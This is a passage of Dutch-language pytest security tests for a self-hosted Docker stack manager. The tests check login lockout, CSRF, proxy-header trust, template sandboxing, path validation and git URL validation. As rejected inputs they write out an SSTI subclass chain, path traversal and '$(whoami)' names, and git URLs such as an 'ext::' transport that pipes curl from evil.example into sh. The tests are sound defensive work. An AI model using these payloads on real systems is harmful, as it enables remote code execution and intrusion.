r = client.post("/api/auth/login",
json={"username": "tester", "password": "hunter2hunter2"})
assert r.status_code == 200
assert client.get("/api/stacks").status_code == 200
def test_verkeerd_wachtwoord_wordt_geweigerd(client):
login(client)
client.post("/api/auth/logout", json={}, headers={"X-CSRF-Token": _csrf(client)})
r = client.post("/api/auth/login",
json={"username": "tester", "password": "verkeerdverkeerd"})
assert r.status_code == 401
def test_lockout_na_herhaalde_pogingen(client):
import core.auth as auth
login(client)
for _ in range(5):
auth.check_login("tester", "foutfoutfout")
ok, msg = auth.check_login("tester", "hunter2hunter2")
assert not ok
assert "Te veel mislukte pogingen" in msg
def test_mutatie_zonder_csrf_token_wordt_geweigerd(client):
login(client)
r = client.post("/api/docker/restart", json={})
assert r.status_code == 403
assert "CSRF" in r.get_json()["msg"]
def test_mutatie_met_verkeerd_csrf_token_wordt_geweigerd(client):
login(client)
r = client.post("/api/docker/restart", json={},
headers={"X-CSRF-Token": "niet-het-echte-token"})
assert r.status_code == 403
def test_state_wijzigende_routes_weigeren_get(client):
"""Zonder deze regel volstond <img src=".../api/docker/restart"> op een
willekeurige website om de container te herstarten."""
login(client)
for path in ("/api/docker/restart", "/api/wizard/complete",
"/api/wizard/reset", "/api/wizard/sync",
"/api/repos/server-up/sync"):
assert client.get(path).status_code == 405, path
def test_proxy_header_alleen_vanaf_vertrouwd_ip(client, env):
core = env["core"]
import core.auth as auth
a = auth.settings()
a.update({"mode": "both", "proxy_header": "Remote-User",
"trusted_proxies": ["10.9.9.9"]})
core.patch({"AUTH": a})
# Niet-vertrouwd bron-IP: header wordt genegeerd.
r = client.get("/api/stacks", headers={"Remote-User": "indringer"},
environ_overrides={"REMOTE_ADDR": "10.1.1.1"})
assert r.status_code == 401
# Vertrouwde proxy: identiteit wordt geaccepteerd.
r = client.get("/api/stacks", headers={"Remote-User": "collega"},
environ_overrides={"REMOTE_ADDR": "10.9.9.9"})
assert r.status_code == 200
def test_proxy_modus_vereist_trusted_proxies(client):
csrf = login(client)
r = client.put("/api/auth/mode", json={"mode": "proxy", "trusted_proxies": []},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
def test_wachtwoordhash_is_niet_omkeerbaar():
import core.auth as auth
rec = auth.hash_password("hunter2hunter2")
assert "hunter2hunter2" not in str(rec)
assert auth.verify_password("hunter2hunter2", rec)
assert not auth.verify_password("hunter2hunter3", rec)
def _csrf(client):
return client.get("/api/auth/me").get_json()["csrf_token"]

103
tests/test_boilerplates.py Normal file
View file

@ -0,0 +1,103 @@
"""Boilerplate-rendering: de sandbox, en de YAML-opruiming die conditionele
blokken achterlaten."""
import json
import pytest
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "server-up"))
from core import boilerplates as bp
def _maak_boilerplate(tmp_path, compose: str, variables=None) -> Path:
d = tmp_path / "stack"
(d / "files").mkdir(parents=True)
(d / "template.json").write_text(json.dumps({
"kind": "compose",
"metadata": {"name": "Test", "description": "", "tags": []},
"variables": variables if variables is not None else [{
"title": "Algemeen",
"items": [
{"name": "service_name", "type": "str", "default": "test"},
{"name": "port", "type": "int", "default": 8080},
{"name": "admin", "type": "bool", "default": False},
],
}],
}), encoding="utf-8")
(d / "files" / "compose.yaml").write_text(compose, encoding="utf-8")
return d
def test_render_vult_variabelen_in(tmp_path):
src = _maak_boilerplate(tmp_path, "services:\n << service_name >>:\n image: nginx\n"
" ports:\n - \"<< port >>:80\"\n")
dest = tmp_path / "out"
bp.render_to_dir(src, dest, {"service_name": "web", "port": 9090})
tekst = (dest / "docker-compose.yml").read_text()
assert "web:" in tekst
assert '"9090:80"' in tekst
def test_conditioneel_blok_wordt_overgeslagen(tmp_path):
src = _maak_boilerplate(
tmp_path,
"services:\n app:\n image: nginx\n"
" environment:\n"
"<% if admin %>\n - ADMIN=1\n<% endif %>\n")
dest = tmp_path / "out"
bp.render_to_dir(src, dest, {"admin": False})
tekst = (dest / "docker-compose.yml").read_text()
assert "ADMIN" not in tekst
# `environment:` zonder inhoud is ongeldige YAML en moet weg zijn.
assert "environment:" not in tekst
def test_lege_mapping_aan_einde_verdwijnt():
assert bp._drop_empty_mappings("services:\n app:\n image: x\n volumes:\n") \
== "services:\n app:\n image: x\n"
def test_gevulde_mapping_blijft_staan():
tekst = "services:\n app:\n image: x\n"
assert bp._drop_empty_mappings(tekst) == tekst
def test_sandbox_geeft_geen_python_internals_prijs(tmp_path):
"""Templates komen uit externe git-repo's en worden al gerenderd in
/api/store/preview. De sandbox levert Undefined (leeg) voor afgeschermde
attributen, zodat er nooit een echt Python-object in het resultaat komt."""
src = _maak_boilerplate(tmp_path, "x: << service_name.__class__ >>\n")
bp.render_to_dir(src, tmp_path / "out", {"service_name": "web"})
tekst = (tmp_path / "out" / "docker-compose.yml").read_text()
# `x:` blijft leeg achter en wordt daarna door _drop_empty_mappings opgeruimd.
assert tekst.strip() == ""
assert "class" not in tekst
def test_sandbox_laat_aanroep_van_internals_falen(tmp_path):
"""De klassieke SSTI-keten faalt hard in plaats van de subclass-lijst —
en daarmee een weg naar os.system op te leveren."""
src = _maak_boilerplate(
tmp_path, "x: << ''.__class__.__mro__[1].__subclasses__() >>\n")
with pytest.raises(bp.BoilerplateError):
bp.render_to_dir(src, tmp_path / "out", {})
def test_normale_filters_blijven_werken(tmp_path):
"""De sandbox mag de bestaande templates niet breken — vaultwarden gebruikt
bijvoorbeeld `<< signups_allowed | lower >>`."""
src = _maak_boilerplate(
tmp_path, "a: << service_name | upper >>\nb: << admin | lower >>\n")
bp.render_to_dir(src, tmp_path / "out", {"service_name": "web", "admin": True})
tekst = (tmp_path / "out" / "docker-compose.yml").read_text()
assert "a: WEB" in tekst
assert "b: true" in tekst
def test_is_boilerplate_herkent_layout(tmp_path):
src = _maak_boilerplate(tmp_path, "services: {}\n")
assert bp.is_boilerplate(src)
assert not bp.is_boilerplate(tmp_path)

75
tests/test_paths.py Normal file
View file

@ -0,0 +1,75 @@
"""Padvalidatie: geen enkele door de gebruiker aangeleverde naam mag buiten
LIBRARY_DIR of de git-cache kunnen wijzen."""
import pytest
from conftest import login
@pytest.mark.parametrize("naam", [
"vaultwarden", "app-1", "mijn_stack", "a.b-c", "X9",
])
def test_geldige_namen(env, naam):
assert env["core"].safe_name(naam) == naam
@pytest.mark.parametrize("naam", [
"", "..", ".", "../etc", "a/b", "/absoluut", "a\\b", "-begint-met-streepje",
"met spatie", "nul\x00byte", "x" * 65, "a$b", "$(whoami)",
])
def test_ongeldige_namen(env, naam):
assert env["core"].safe_name(naam) is None
def test_install_weigert_traversal_in_instance(client, env):
csrf = login(client)
r = client.post("/api/store/install",
json={"stack": "vaultwarden", "repo_id": "server-up",
"instance": "../../ontsnapt"},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
assert not (env["tmp"] / "ontsnapt").exists()
def test_install_weigert_traversal_in_stack(client):
csrf = login(client)
r = client.post("/api/store/install",
json={"stack": "../../../etc", "repo_id": "server-up",
"instance": "test"},
headers={"X-CSRF-Token": csrf})
assert r.get_json()["ok"] is False
def test_preview_weigert_traversal(client):
csrf = login(client)
r = client.post("/api/store/preview",
json={"stack": "../..", "repo_id": "server-up"},
headers={"X-CSRF-Token": csrf})
assert r.get_json()["ok"] is False
@pytest.mark.parametrize("route", [
"/api/stacks/{}/env", "/api/stacks/{}/compose", "/api/stacks/{}/logs",
])
def test_stackroutes_weigeren_ongeldige_naam(client, route):
login(client)
r = client.get(route.format(".."))
assert r.status_code == 400
def test_stackactie_weigert_ongeldige_naam(client):
csrf = login(client)
r = client.post("/api/stacks/../start", headers={"X-CSRF-Token": csrf})
# Werkzeug normaliseert '..' weg; wat er ook overblijft mag nooit 2xx zijn.
assert r.status_code >= 400
def test_lege_stacknaam_raakt_de_library_zelf_niet(client, env):
"""`lib / ""` resolvet naar de library zelf — verwijderen zou alles wissen."""
lib, d = _stack_dir(env, "")
assert d is None
def _stack_dir(env, naam):
import app as app_module
with app_module.app.test_request_context():
return app_module._stack_dir(naam)

82
tests/test_repo_urls.py Normal file
View file

@ -0,0 +1,82 @@
"""Git-URL-validatie. `ext::` voert een shell-commando uit, `file://` legt
lokale paden bloot beide horen niet in een door de gebruiker opgegeven URL."""
import pytest
from conftest import login
@pytest.mark.parametrize("url", [
"https://github.com/bes-r/server-up.git",
"http://10.0.20.22:3000/bes-r/server-up.git",
"ssh://git@example.com/bes-r/server-up.git",
"git@github.com:bes-r/server-up.git",
])
def test_toegestane_urls(env, url):
assert env["core"].valid_repo_url(url) is True
@pytest.mark.parametrize("url", [
'ext::sh -c "curl evil.example/x.sh | sh"',
"file:///etc",
"/etc/passwd",
"--upload-pack=/bin/sh",
"",
"https://example.com/repo.git\next::sh -c id",
])
def test_geweigerde_urls(env, url):
assert env["core"].valid_repo_url(url) is False
def test_repo_toevoegen_weigert_ext_transport(client):
csrf = login(client)
r = client.post("/api/repos", json={"url": 'ext::sh -c "id"'},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
assert client.get("/api/repos").get_json() is not None
def test_clone_weigert_ext_transport_uit_oude_config(env):
"""Vangnet: ook een repo die al in config.json stond wordt geweigerd."""
from core import git
ok, msg = git.clone_or_pull({"id": "boos", "url": 'ext::sh -c "id"'})
assert ok is False
assert "niet-toegestane" in msg
def test_repos_endpoint_lekt_geen_token(client, env):
csrf = login(client)
client.post("/api/repos",
json={"url": "https://example.com/geheim.git", "token": "s3cr3t-token"},
headers={"X-CSRF-Token": csrf})
body = client.get("/api/repos").get_data(as_text=True)
assert "s3cr3t-token" not in body
assert "has_token" in body
settings = client.get("/api/settings").get_data(as_text=True)
assert "s3cr3t-token" not in settings
def test_settings_put_wist_bestaand_token_niet(client, env):
csrf = login(client)
client.post("/api/repos",
json={"id": "mijn", "url": "https://example.com/x.git", "token": "blijf-staan"},
headers={"X-CSRF-Token": csrf})
repos = client.get("/api/repos").get_json()
client.put("/api/settings", json={"APP_REPOS": repos},
headers={"X-CSRF-Token": csrf})
stored = env["core"].load()["APP_REPOS"]
mijn = next(r for r in stored if r["id"] == "mijn")
assert mijn["token"] == "blijf-staan"
def test_settings_put_kan_auth_niet_overschrijven(client, env):
csrf = login(client)
client.put("/api/settings",
json={"AUTH": {"mode": "proxy", "users": {}, "trusted_proxies": ["0.0.0.0/0"]}},
headers={"X-CSRF-Token": csrf})
import core.auth as auth
assert auth.settings()["mode"] == "local"
assert "tester" in auth.settings()["users"]

40
tests/test_updater.py Normal file
View file

@ -0,0 +1,40 @@
"""Semver-vergelijking van de update-check."""
import sys
from pathlib import Path
import pytest
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "server-up"))
from core import updater
@pytest.mark.parametrize("lager,hoger", [
("0.4.6", "0.4.60"), # tweecijferig patchnummer (zie CHANGELOG v0.4.60)
("0.4.60", "0.4.61"),
("0.4.9", "0.5.0"),
("1.0.0-beta1", "1.0.0"), # release wint van pre-release
("1.0.0-beta1", "1.0.0-beta2"),
("0.9.9", "1.0.0"),
])
def test_versievolgorde(lager, hoger):
assert updater._parse(lager) < updater._parse(hoger)
def test_v_prefix_maakt_niet_uit():
assert updater._parse("v1.2.3") == updater._parse("1.2.3")
@pytest.mark.parametrize("waarde", ["", "geen-versie", "1.2", None])
def test_onparseerbare_versies(waarde):
assert updater._parse(waarde) is None
def test_check_zonder_url_is_uitgeschakeld(monkeypatch, tmp_path):
monkeypatch.setenv("SU_CONFIG", str(tmp_path / "config.json"))
import core as cfg
cfg._path = tmp_path / "config.json"
cfg.patch({"UPDATE_API_URL": ""})
res = updater.check("0.4.60")
assert res["enabled"] is False
assert res["update_available"] is False